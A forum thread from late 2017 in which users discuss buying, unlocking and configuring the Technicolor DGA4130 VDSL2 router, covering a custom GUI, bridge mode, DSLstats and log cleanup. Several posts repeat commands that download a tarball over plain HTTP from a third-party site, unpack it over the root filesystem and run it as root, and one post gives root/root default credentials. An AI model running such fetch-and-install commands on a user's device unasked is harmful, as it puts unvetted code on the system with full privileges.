As regards performance, for me it's the best performing modem/router I've ever used. I'm talking particularly about the DSL performance here. I get the impression that bitswapping is particularly effective, and errors reduce over time. Mine ran for about 35 days with a downstream SNRM of 1.8 dB, which only came to an end when I accidentally disconnected the power supply. And the device has lots of power to spare, so you can do lots of things with it that you can't do with lesser devices.

Top marks from me.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on November 24, 2017, 09:35:03 AM
Thanks for the info do you have a link to the download of gui 3.27 it does not appear to be on your mega page.
you can update the gui to the latest available version from the web page, in GATEWAY :
(https://i.imgur.com/rccyvd1.png)

From putty the command is always the same as the filename (GUI.tar.bz2) never change :

wget -P /tmp http://repository.ilpuntotecnicoeadsl.com/files/Ansuel/AGTEF/GUI.tar.bz2
bzcat /tmp/GUI.tar.bz2 | tar -C / -xvf -
/etc/init.d/rootdevice force


My repository in MEGA is just to keep an archive for some stable versions, in case i want to roll back.

since 3.25 the GUI is green, if you don't like this color you can replace the file /www/docroot/css/color.css with this one : https://mega.nz/#F!iQNFyS4L!iI40_3L-kQx6Cy7ejfRSaw
and you'll have a BLUE layout.  :) (CTRL+F5 in the browser to refresh the cache)


Changelog:
3.28 Testing accesso remoto con scelta di porta. (Necessario un reboot per cambiare la porta)
3.27 Aggiornato nginx, attivato gzip compression aumentata reattività webui
3.26 Fixed opkg update problem (openssl-util manuallty installed) and mac address
3.25 Verde è più bello :)
3.24 Fix vari, wizard fixato
3.23 Aggiunto Traffic Monitor nella sezione dispositiv

The changelog only show a few % of what was changed.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: GigabitEthernet on November 24, 2017, 11:16:26 AM
That's not quite the case. Some excellent work to unlock the device has enabled root access to the Busybox shell. Technicolor didn't support this, and don't supply an unlocked version.

As regards performance, for me it's the best performing modem/router I've ever used. I'm talking particularly about the DSL performance here. I get the impression that bitswapping is particularly effective, and errors reduce over time. Mine ran for about 35 days with a downstream SNRM of 1.8 dB, which only came to an end when I accidentally disconnected the power supply. And the device has lots of power to spare, so you can do lots of things with it that you can't do with lesser devices.

Top marks from me.


Many thanks. Where is the best place to purchase one? Can it be used in bridge mode?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: lofgents on November 24, 2017, 11:37:42 AM
you can update the gui to the latest available version from the web page, in GATEWAY :
(https://i.imgur.com/rccyvd1.png)

From putty the command is always the same as the filename (GUI.tar.bz2) never change :

wget -P /tmp http://repository.ilpuntotecnicoeadsl.com/files/Ansuel/AGTEF/GUI.tar.bz2
bzcat /tmp/GUI.tar.bz2 | tar -C / -xvf -
/etc/init.d/rootdevice force


My repository in MEGA is just to keep an archive for some stable versions, in case i want to roll back.

since 3.25 the GUI is green, if you don't like this color you can replace the file /www/docroot/css/color.css with this one : https://mega.nz/#F!iQNFyS4L!iI40_3L-kQx6Cy7ejfRSaw
and you'll have a BLUE layout.  :) (CTRL+F5 in the browser to refresh the cache)


Changelog:
3.28 Testing accesso remoto con scelta di porta. (Necessario un reboot per cambiare la porta)
3.27 Aggiornato nginx, attivato gzip compression aumentata reattività webui
3.26 Fixed opkg update problem (openssl-util manuallty installed) and mac address
3.25 Verde è più bello :)
3.24 Fix vari, wizard fixato
3.23 Aggiunto Traffic Monitor nella sezione dispositiv

The changelog only show a few % of what was changed.

Thanks got it easy when you know how or know someone who does.
 
Very stable since I got it up and running yesterday slightly faster download than my ISP supplied and only 4 FEC errors and 0 CRC in over 14 hours. I am on an old copper line about 700 meters from the VDSL2 cabinet.

Thanks for your help.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: j0hn on November 24, 2017, 12:37:44 PM
Many thanks. Where is the best place to purchase one? Can it be used in bridge mode?
Italy. Yes.
It's all near the start of this thread.

Although it appears to be on the OpenReach MCT list (with a typo) it can't be sourced from the UK.

edit: my advice would be to take the time to read most of the thread. Only earlier firmware can be unlocked.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on November 24, 2017, 12:44:26 PM
Many thanks. Where is the best place to purchase one? Can it be used in bridge mode?

The buyer I bought mine from isn't listing it any more. There are other sellers on Ebay, but you may find that they won't deliver to the UK.

Yes, it can be used in bridge mode.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on November 24, 2017, 01:43:21 PM
there are some trusted users on the italian forum who can buy and send it to you.
they are still available for italians only, here at 19.99€ :
http://www.dck.it/accessori-tim-smart-modem-plus-ag-evo-dga4130ti-modem-fibra-300-mega.1.1.936.gp.72326.uw
it's totaly frustrating... ???
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ozymandias on November 24, 2017, 01:43:55 PM
I bought mine from Amazon.it about two weeks ago - about a week for delivery. 
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on November 24, 2017, 01:55:06 PM
Amazon.it delivered to UK ?  :-\ from here ? https://www.amazon.it/SMART-MODEM-WI-FI-TIM-DGA4130/dp/B0747QBS2L/

i asked if some of them in the italian forum could buy and sell a few modems on ebay for 45/50€
https://www.ilpuntotecnicoeadsl.com/forum/index.php/topic,77325.msg224069.html#msg224069
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ozymandias on November 24, 2017, 02:07:58 PM
Yes, that's the one. Delivered to the UK
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on November 24, 2017, 02:10:29 PM
Great !  :) so you got it for £36 delivered ?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ozymandias on November 24, 2017, 02:12:17 PM
Nearly. It worked out to £42 delivered
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: j0hn on November 24, 2017, 02:12:38 PM
It's £42.79 delivered
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on November 24, 2017, 02:27:38 PM
It's still a very good price :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: hushcoden on November 24, 2017, 04:21:27 PM
One thing I am not sure: if you get the modem with firmware up to v1.0.3 then you can unlock it, but with an upper version you cannot, which means you have an unusable device ??
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: ktz392837 on November 24, 2017, 04:32:10 PM
It's £42.79 delivered
I an terrible with foreign languages as Amazon has the habit of not always putting the same seller on a URL any pointers on how I can be sure I am looking at the correct seller - sellers name? 

Is it the seller doing Prime delivery? 

Is this the correct firmware version?

Is this modem better than the Zyxel 8924?

Many thanks
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ozymandias on November 24, 2017, 04:45:12 PM
I used Chrome autotranslate. The Amazon vendor was Dck Group & the firmware was 1.0.2 as delivered.

It unlocked without problem.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on November 24, 2017, 04:56:49 PM
One thing I am not sure: if you get the modem with firmware up to v1.0.3 then you can unlock it, but with an upper version you cannot, which means you have an unusable device ??
They are sold with version 1.0.2, if they are brand new (never used/connected to the network in italy) then they can be unlocked.
Outside italy, or with a different ISP than TIM, the modem cannot update itself to another version, the CWMP can only be reached if your IP address is in the TIM network.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: GigabitEthernet on November 24, 2017, 05:02:18 PM
I will be purchasing one shortly.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: GigabitEthernet on November 26, 2017, 12:17:17 AM
Is this the right thing? https://www.ebay.co.uk/itm/MODEM-ROUTER-AGTHP-1-0-2-TELECOM-TIM-HUB-DGA4132-ADSL-VDSL-FIBRA-1000-MEGA-WI-FI/292331485462?hash=item4410507916:g:kJQAAOSwzXxZ5bWj

Can't use Amazon for other reasons.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: JustinCase on November 26, 2017, 03:40:24 AM
Is this the right thing? https://www.ebay.co.uk/itm/MODEM-ROUTER-AGTHP-1-0-2-TELECOM-TIM-HUB-DGA4132-ADSL-VDSL-FIBRA-1000-MEGA-WI-FI/292331485462?hash=item4410507916:g:kJQAAOSwzXxZ5bWj

Can't use Amazon for other reasons.

Nope, that's the 4132 or TIM HUB, good piece of hardware but's not what you're looking for as it's NOT unlockable ATM, you need a 4130 and the SW version needs to be AGTEF 1.02 or 1.03, not higher.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: j0hn on December 01, 2017, 04:42:58 AM
Now available on Amazon.fr from the same seller, same price, much quicker delivery. I just bit.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on December 01, 2017, 11:21:39 AM
@j0hn
you bought one ?  :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: GigabitEthernet on December 01, 2017, 04:34:43 PM
Mine arrived today. Will set it up shortly.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: ktz392837 on December 01, 2017, 06:17:44 PM
Mine arrived today. Will set it up shortly.
I am tempted.  If possible are you able to post which instructions you followed or a quick list of what you did so we know the order, everything is still relevant and in one place?  Thanks
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on December 01, 2017, 06:27:03 PM
The definitive instructions are here: http://forum.kitz.co.uk/index.php/topic,20343.msg356237.html#msg356237
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Lil-Koby on December 01, 2017, 08:39:58 PM
Hey all !  :)
Is it possible to use this Modem in bridge mode with outgoing vlan tag ?
I would need "VPI/VCI 1/32" and "vlan tag 835" so my router behind can establish a pppoe connection.
Any advice which GUI and firmware version i should use for pure bridge mode ?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on December 02, 2017, 10:03:55 AM
hello,
everything works, just use the latest GUI (Actualy 3.32).
VPI/VCI are for ADSL, Vlan tag is usualy used for VDSL, you have ADSL with a VLAN id 835 ?

Why would you need a router behind ? This modem/router can manage everything...
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Lil-Koby on December 02, 2017, 11:26:23 AM
I'm on VDSL2 with vectoring but afaik i need VPI/VCI 1/32 + Vlan Tag/id 835 to establish a pppoe connection on my main Router.
Right now im using a Vigor 130 with Lantiq chipset and in the gui i can set up bridge Mode with 1/32 and Vlan Tag insertion for VDSL.

Atm i'm very happy with my main Router (TP-Link Archer C2600), so i only need a bridged modem with Broadcom 63138 Chipset and Gbit LAN.  ;)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on December 02, 2017, 12:05:47 PM
haaa this is the default config in the Draytek, this part is not used when you're in VDSL, it's just the default data for ADSL.  :) Only the VLAN part is used in your case.

So yes the bridge mode is supported, btw another user (bilbokitz) in this forum is using it in bridge mode.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Lil-Koby on December 02, 2017, 12:17:39 PM
Ok great, than it should be fine as long as i can also set a vlan tag in bridge mode.
Thanks for your awnser.  :fingers:
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: atkinsong on December 02, 2017, 02:55:26 PM
I'm just trying to set one of these up myself. I've unlocked it, upgraded firmware from 1.02 to 1.03 and I'm now trying to update the web gui to 3.32. I've put the gui file into /tmp, and ran the two commands as instructed. After the second command it has been sat at the following prompt for about 10 mins now:-

writing from \dev\mtd4 to \dev\mtd3...

How long should this take?
Thanks
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ansuel on December 02, 2017, 02:56:47 PM
I'm just trying to set one of these up myself. I've unlocked it, upgraded firmware from 1.02 to 1.03 and I'm now trying to update the web gui to 3.32. I've put the gui file into /tmp, and ran the two commands as instructed. After the second command it has been sat at the following prompt for about 10 mins now:-

writing from \dev\mtd4 to \dev\mtd3...

How long should this take?
Thanks
It should reboot :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: atkinsong on December 02, 2017, 03:02:53 PM
Ah, right Ansuel. I had obviously missed the reboot and the ssh session had hung. Re-connected and logged in and everything ok.

Thank you.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ansuel on December 02, 2017, 03:04:35 PM
Ah, right Ansuel. I had obviously missed the reboot and the ssh session had hung. Re-connected and logged in and everything ok.

Thank you.
Np if you want to know why the reboot... The script switched bank as the recovery mode flash only the first bank... You can update the gui for the newer version directly from the gui ;)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on December 02, 2017, 04:15:34 PM
I have struggled with bridge mode to be honest i can not get it to work using the gui with vlan disabled.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: GigabitEthernet on December 02, 2017, 06:57:09 PM
Just unlocked mine and all seems to have gone well. I will try it in bridge mode later on.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: GigabitEthernet on December 02, 2017, 07:07:23 PM
Looks like a high-quality VDSL cable is included. Anyone noticed a difference, using it?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: atkinsong on December 02, 2017, 07:37:51 PM
I have another problem. Having successfully installed gui 3.32, I realised that telnet was not working and could not be enabled.
I decided to start again after a gui reset, and installed gui 2.23. This allowed me to enable telnet ok. On trying to update to gui 3.32, after copying the gui file to /tmp, when I issue the /etc/init.d/rootdevice force command I get the response "interface wan has no physdev or physdev has no suitable ip". This is true as I want to do this setup offline, but is there any way around this?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Lil-Koby on December 02, 2017, 08:28:04 PM
Just unlocked mine and all seems to have gone well. I will try it in bridge mode later on.
Please report back if the bridge setup worked for ya...
My modem will arrive on Monday-Tuesday and i just need it to work in bridge mode.  :-[
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on December 02, 2017, 08:36:15 PM
when I issue the /etc/init.d/rootdevice force command I get the response "interface wan has no physdev or physdev has no suitable ip". This is true as I want to do this setup offline, but is there any way around this?
it's not a problem, just an info, which is true in your case, so don't worry about that...
Ansuel made a typo in the last GUI update, the file /etc/config/telnet was renamed tenlet or something like that...And i have now a problem with the "i" (info) led wich is now Red instead of green  >:( >:(
The gui 3.25 seems to have no "visible" bugs...
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: GigabitEthernet on December 02, 2017, 08:49:20 PM
Wait so I shouldn't use GUI 3.9?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on December 02, 2017, 09:19:46 PM
there are lots of improvements in the next GUI.
3.16 and 3.25 are Stable and have no particular bugs. i would recommend the 3.25 for the moment. The 3.9 is quite old now.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: ktz392837 on December 03, 2017, 12:03:06 AM
Does the GUI have a DNS option so you can give IP addresses a name? E.g. ping printer and printer would resolve to 192.168.1.8 without having to add lines to each PCs hosts file?  Can you add more than one name to the same IP address?

Is there any more information available on the VOIP functionality?  Can you specify incoming and outgoing digit maps?

Thanks
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on December 03, 2017, 09:29:36 AM
Does the GUI have a DNS option so you can give IP addresses a name? E.g. ping printer and printer would resolve to 192.168.1.8 without having to add lines to each PCs hosts file?  Can you add more than one name to the same IP address?
Thanks
There is a way to do it from the GUI, in the Local Network tab :
You can choose the hosname you want but you can't create several hostnames with the same MAC/IP.
(https://i.imgur.com/y0kbEOD.png)

(https://i.imgur.com/2O0B5lL.png)


Is there any more information available on the VOIP functionality?  Can you specify incoming and outgoing digit maps?
Look here : https://www.crc.id.au/hacking-the-technicolor-tg799vac-and-unlocking-features/ there is a section about how to configure a third party SIP provider.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: GigabitEthernet on December 04, 2017, 07:55:08 PM
Which modem do I pick in dslstats? Can't see this one listed in 6.1.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: j0hn on December 04, 2017, 08:26:41 PM
@j0hn
you bought one ?  :)
Yep. It should arrive on the 9th.
Now available on Amazon.fr from the same seller, same price, much quicker delivery. I just bit.
Amazon.fr now have none left from that seller. Another seller (RC TECHSTORE) has 2 left at same price but I don't know which firmware the device is. The seller I used (Dck Group) confirmed version 1.03.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on December 04, 2017, 08:59:20 PM
Which modem do I pick in dslstats? Can't see this one listed in 6.1.

This is my configuration :
(https://i.imgur.com/7CL39Ml.png)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on December 04, 2017, 10:41:41 PM
Which modem do I pick in dslstats? Can't see this one listed in 6.1.

Just leave it showing "Select modem/router model" and fill in the details:-

IP address: 192.168.1.1 (unless you've changed it)
Username/password: root/root
CLI command prefix: xdslctl

Don't check the option "Modem/router is Thomson/Technicolor model"
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Lil-Koby on December 05, 2017, 07:10:55 PM
My DGA4130 arrived today...
It came with fw 1.0.2 and unlocking was quite easy.
I'm using gui version 3.25 at the moment.
Even bridge mode with vlan tag is working, i'm very happy so far...
Big thanks to Ansuel, your unlock tool and GUI are working very well !!! :clap::thumbs:

The only thing which doesnt work for me is DSL stats Tool, it doesnt return any data, not even syncrate or Uptime.
Got telnet enabled (confirmed working) and i doesnt get any error message when pressing the Play button in DSL stats.
All i can see on top is "No data returned in lastest sample".

Log:
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05 Dez 2017 19:35:03 Reset the current month's traffic
05 Dez 2017 19:35:03 Configuration files stored in C:\Users\workstation03\AppData\Local\dslstats\
05 Dez 2017 19:35:03 Snapshot folder is C:\Users\workstation03\AppData\Local\dslstats\
05 Dez 2017 19:35:48 Recording started
05 Dez 2017 19:36:03 Timeout while retrieving stats
05 Dez 2017 19:36:03 No stats received

05 Dez 2017 19:36:34 Timeout while retrieving stats
05 Dez 2017 19:36:34 No stats received
05 Dez 2017 19:37:04 Timeout while retrieving stats
05 Dez 2017 19:37:04 Unable to collect stats 3 or more times in succession
05 Dez 2017 19:37:04 No stats received
05 Dez 2017 19:37:34 Timeout while retrieving stats
05 Dez 2017 19:37:34 No stats received
05 Dez 2017 19:38:03 Timeout while retrieving stats
05 Dez 2017 19:38:04 No stats received
05 Dez 2017 19:38:34 Timeout while retrieving stats
05 Dez 2017 19:38:34 No stats received
05 Dez 2017 19:39:04 Timeout while retrieving stats
05 Dez 2017 19:39:04 No stats received
05 Dez 2017 19:39:33 Timeout while retrieving stats
05 Dez 2017 19:39:34 No stats received
05 Dez 2017 19:40:04 Timeout while retrieving stats
05 Dez 2017 19:40:04 No stats received
05 Dez 2017 19:40:34 Timeout while retrieving stats
05 Dez 2017 19:40:34 No stats received
05 Dez 2017 19:40:46 Recording stopped

Does it not work cause im using bridge mode ? Pls help.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on December 05, 2017, 07:41:38 PM
I can't see any reason why bridge mode should make any difference. Are you sure that you've set the CLI command prefix to 'xdslctl' in the DSLstats login configuration?  Can you log in by telnet using Putty (or some other telnet client) and send the command:

xdslctl info --stats

Which should return a stream of data.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Lil-Koby on December 05, 2017, 08:50:43 PM
I really dont know why but its working now !
I've typed "xdslctl info --stats" in a normal telnet session and it was working fine.
Only thing i did was unchecking "Modem/Router is Thompson/Technicolor model"...

Well thanks for this sweet tool roseway, it will help me alot ! :love:
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: kitzuser87430 on December 05, 2017, 09:10:49 PM
My set-up wizard is not working, I have unlocked, upgraded to 1.03 and installed GUI 3.25.

is anybody's setup wiz working on 3.25?

can users confirm what GUI the setup wiz is working on please.

Ian
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on December 05, 2017, 10:43:26 PM
Quote
Only thing i did was unchecking "Modem/Router is Thompson/Technicolor model"...

Ah yes, perhaps I should make that a bit clearer. That option applies to  the majority of Technicolor modems, which don't enable access to the full Broadcom stats, but instead provide a custom CLI via the telnet interface. In the case of the DGA4130, the unlocking procedure enables access to the full stats, so it doesn't need that option to be checked.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Lil-Koby on December 05, 2017, 11:04:02 PM
What do you exactly mean with "not working" ?
Not starting at all or config doesnt get trough ?

Btw, my log has some weired entries. Maybe someone knows how to get rid of these errors/warnings...
They are constantly spamming my log...
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......
Nov 20 08:33:57 daemon.warn dnsmasq-dhcp[3540] no address range available for DHCP request via br-lan
Nov 20 08:33:54 daemon.warn dnsmasq-dhcp[3540] no address range available for DHCP request via br-lan
Nov 20 08:33:34 daemon.notice transformer [mobiled] (WaitingForDevice) runs WaitingForDevice-Main.check(timeout, 1, PlatformConfigure)
Nov 20 08:33:31 daemon.warn dnsmasq-dhcp[3540] no address range available for DHCP request via br-lan
Nov 20 08:33:28 daemon.warn dnsmasq-dhcp[3540] no address range available for DHCP request via br-lan
Nov 20 08:33:25 daemon.warn dnsmasq-dhcp[3540] no address range available for DHCP request via br-lan
Nov 20 08:33:02 daemon.warn dnsmasq-dhcp[3540] no address range available for DHCP request via br-lan
Nov 20 08:33:00 cron.info crond[2457] USER root pid 14856 cmd /sbin/trafficdata.lua
Nov 20 08:32:59 daemon.warn dnsmasq-dhcp[3540] no address range available for DHCP request via br-lan
Nov 20 08:32:56 daemon.warn dnsmasq-dhcp[3540] no address range available for DHCP request via br-lan
Nov 20 08:32:34 daemon.notice transformer [mobiled] (WaitingForDevice) runs WaitingForDevice-Main.check(timeout, 1, PlatformConfigure)
Nov 20 08:32:33 daemon.warn dnsmasq-dhcp[3540] no address range available for DHCP request via br-lan
Nov 20 08:32:30 daemon.warn dnsmasq-dhcp[3540] no address range available for DHCP request via br-lan
Nov 20 08:32:27 daemon.warn dnsmasq-dhcp[3540] no address range available for DHCP request via br-lan
Nov 20 08:32:13 daemon.err igmpproxy[4434] IGMP report received with src 192.168.1.252 which cannot be mapped on intf br-lan
Nov 20 08:32:13 daemon.notice igmpproxy[4434] IGMP report received from 192.168.1.252 on intf br-lan
Nov 20 08:32:06 daemon.notice igmpproxy[4434] Send IGMP packet to group 224.0.0.1 on intf br-lan
Nov 20 08:32:04 daemon.warn dnsmasq-dhcp[3540] no address range available for DHCP request via br-lan
Nov 20 08:32:01 daemon.warn dnsmasq-dhcp[3540] no address range available for DHCP request via br-lan
Nov 20 08:31:58 daemon.warn dnsmasq-dhcp[3540] no address range available for DHCP request via br-lan
Nov 20 08:31:35 daemon.warn dnsmasq-dhcp[3540] no address range available for DHCP request via br-lan
Nov 20 08:31:34 daemon.notice transformer [mobiled] (WaitingForDevice) runs WaitingForDevice-Main.check(timeout, 1, PlatformConfigure)
......

1. Im not using DHCP (its disabled via GUI). How to get rid these dnsmasq-dhcp entries ?
2. IGMP proxy doesnt make sense in bridge mode. How to disable it completly ?

My DHCP config:
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root@vdsl-bridge:~# cat /etc/config/dhcp

config dnsmasq
        option domainneeded '1'
        option boguspriv '1'
        option filterwin2k '0'
        option localise_queries '1'
        option rebind_protection '1'
        option rebind_localhost '1'
        option local '/lan/'
        option expandhosts '1'
        option nonegcache '0'
        option authoritative '1'
        option readethers '1'
        option leasefile '/tmp/dhcp.leases'
        option resolvfile '/tmp/resolv.conf.auto'
        option strictorder '1'
        option dhcpscript '/lib/dnsmasq/dhcp-event.sh'
        list hostname 'dsldevice'
        option allservers '1'
        option domain 'homenet.VDSL.Bridge'

config odhcpd 'odhcpd'
        option leasefile '/tmp/hosts/odhcpd'
        option leasetrigger '/usr/sbin/odhcpd-update'
        option maindhcp '0'

config dhcp 'lan'
        option interface 'lan'
        option start '2'
        option dhcpv6 'server'
        option ra 'server'
        option ra_management '0'
        option ra_mininterval '200'
        option ra_maxinterval '600'
        option ra_lifetime '1800'
        option ra_hoplimit '64'
        option ra_max_mtu '1500'
        option force '1'
        option ignore '1'
        option limit '252'
        list dhcp_option 'tag:cpewan-id,vi-encap:3561,6,"4130"'
        list dhcp_option 'tag:cpewan-id,vi-encap:3561,5,"CP"'
        list dhcp_option 'tag:cpewan-id,vi-encap:3561,4,""'
        list dhcp_option ''
        list dhcp_option ''
        list dhcp_option ''
        list dhcp_option '6,192.168.254.254'
        option dhcpv4 'disabled'
        option leasetime '24h'

config dhcp 'wlnet_b_24'
        option interface 'wlnet_b_24'
        option start '2'
        option leasetime '1h'
        option force '1'
        option dhcpv6 'server'
        option ra 'server'
        option ra_management '0'
        option ra_mininterval '200'
        option ra_maxinterval '600'
        option ra_lifetime '1800'
        option ra_hoplimit '64'
        option ra_max_mtu '1480'
        option limit '125'

config dhcp 'wlnet_b_5'
        option interface 'wlnet_b_5'
        option start '130'
        option leasetime '1h'
        option force '1'
        option dhcpv6 'server'
        option ra 'server'
        option ra_management '0'
        option ra_mininterval '200'
        option ra_maxinterval '600'
        option ra_lifetime '1800'
        option ra_hoplimit '64'
        option ra_max_mtu '1480'
        option limit '125'

config dhcp 'wan'
        option interface 'wan'
        option ignore '1'

config dhcp 'wan6'
        option interface 'wan'
        option ignore '1'

config dhcp 'wwan'
        option interface 'wwan'
        option ignore '1'

config opassthrud 'opassthrud'
        option passthruscript '/lib/dhcpopassthrud/dnsmasq.sh'
        option options_needed '0'
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on December 06, 2017, 07:22:02 AM
if you want to disable the igmpproxy logs, set option trace '0' in /etc/config/igmpproxy

if you want to stop the daemon :
/etc/init.d/igmpproxy stop
/etc/init.d/igmpproxy disable


to restart it :
/etc/init.d/igmpproxy start
/etc/init.d/igmpproxy enable


About your DHCP problem, i think you have to set a DHCP range in the GUI before stoping it ? Try to go into the Local Network tab and click 'Show Advanced', set the DHCP, Save your settings and then disable the DHCP.
if it doesn't change anything then maybe try to set : option ignore '0' in your config dhcp 'lan' in the file /etc/config/dhcp
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Lil-Koby on December 06, 2017, 01:22:12 PM
@shdf, thanks a bunch !

Disabling igmp proxy worked like a charm...

And you're right, I've changed the DHCP settings when I set up another modem IP ...
DHCP gave me some error so i adjusted the settings.
Anyway, your solution seems to work, I have activated and deactivated DHCP again and set the "option ignore 0" in the config.
The only thing left now is "daemon.notice transformer [mobiled] (WaitingForDevice) runs WaitingForDevice-Main.check(timeout, 1, PlatformConfigure)", whatever that means.

What also drives me a bit crazy is that the ping times to the modem are always over 1ms on my wired network. I think that's a bit unusual ? ???
If I ping any other wired device within my local network I always get ping times under >1ms...
Btw, compared to my Vigor 130 the online ping times have increased by about 2ms.

In addition, the @ LED is always flashing red and the info LED is solid red... But I suspect this is normal for bridge mode ?

Code: [Select]
Main Router > Modem

root@LEDE:~# ping 192.168.10.10 -c5
PING 192.168.10.10 (192.168.10.10): 56 data bytes
64 bytes from 192.168.10.10: seq=0 ttl=64 time=1.196 ms
64 bytes from 192.168.10.10: seq=1 ttl=64 time=1.097 ms
64 bytes from 192.168.10.10: seq=2 ttl=64 time=1.074 ms
64 bytes from 192.168.10.10: seq=3 ttl=64 time=1.042 ms
64 bytes from 192.168.10.10: seq=4 ttl=64 time=1.040 ms

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AP > Modem

root@AP1:/tmp/home/root# ping 192.168.10.10 -c5
PING 192.168.10.10 (192.168.10.10): 56 data bytes
64 bytes from 192.168.10.10: seq=0 ttl=63 time=1.241 ms
64 bytes from 192.168.10.10: seq=1 ttl=63 time=1.332 ms
64 bytes from 192.168.10.10: seq=2 ttl=63 time=1.413 ms
64 bytes from 192.168.10.10: seq=3 ttl=63 time=1.381 ms
64 bytes from 192.168.10.10: seq=4 ttl=63 time=1.398 ms

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Main Router > AP

root@LEDE:~# ping 192.168.100.2 -c5
PING 192.168.100.2 (192.168.100.2): 56 data bytes
64 bytes from 192.168.100.2: seq=0 ttl=64 time=0.343 ms
64 bytes from 192.168.100.2: seq=1 ttl=64 time=0.341 ms
64 bytes from 192.168.100.2: seq=2 ttl=64 time=0.356 ms
64 bytes from 192.168.100.2: seq=3 ttl=64 time=0.339 ms
64 bytes from 192.168.100.2: seq=4 ttl=64 time=0.332 ms

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Client via Modem LAN port

Source address is 192.168.10.1; using ICMP echo-request, ID=2810
Pinging 192.168.10.10 [192.168.10.10]
with 32 bytes data (60 bytes IP):
From 192.168.10.10: bytes=60 seq=0001 TTL=64 ID=e3fe time=1.269ms
From 192.168.10.10: bytes=60 seq=0002 TTL=64 ID=e3ff time=1.203ms
From 192.168.10.10: bytes=60 seq=0003 TTL=64 ID=e400 time=1.218ms
From 192.168.10.10: bytes=60 seq=0004 TTL=64 ID=e401 time=1.161ms
From 192.168.10.10: bytes=60 seq=0005 TTL=64 ID=e402 time=1.153ms
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on December 06, 2017, 02:34:39 PM
Quote
"daemon.notice transformer [mobiled] (WaitingForDevice) runs WaitingForDevice-Main.check(timeout, 1, PlatformConfigure)", whatever that means.
(https://i.imgur.com/Urj7r66.png)
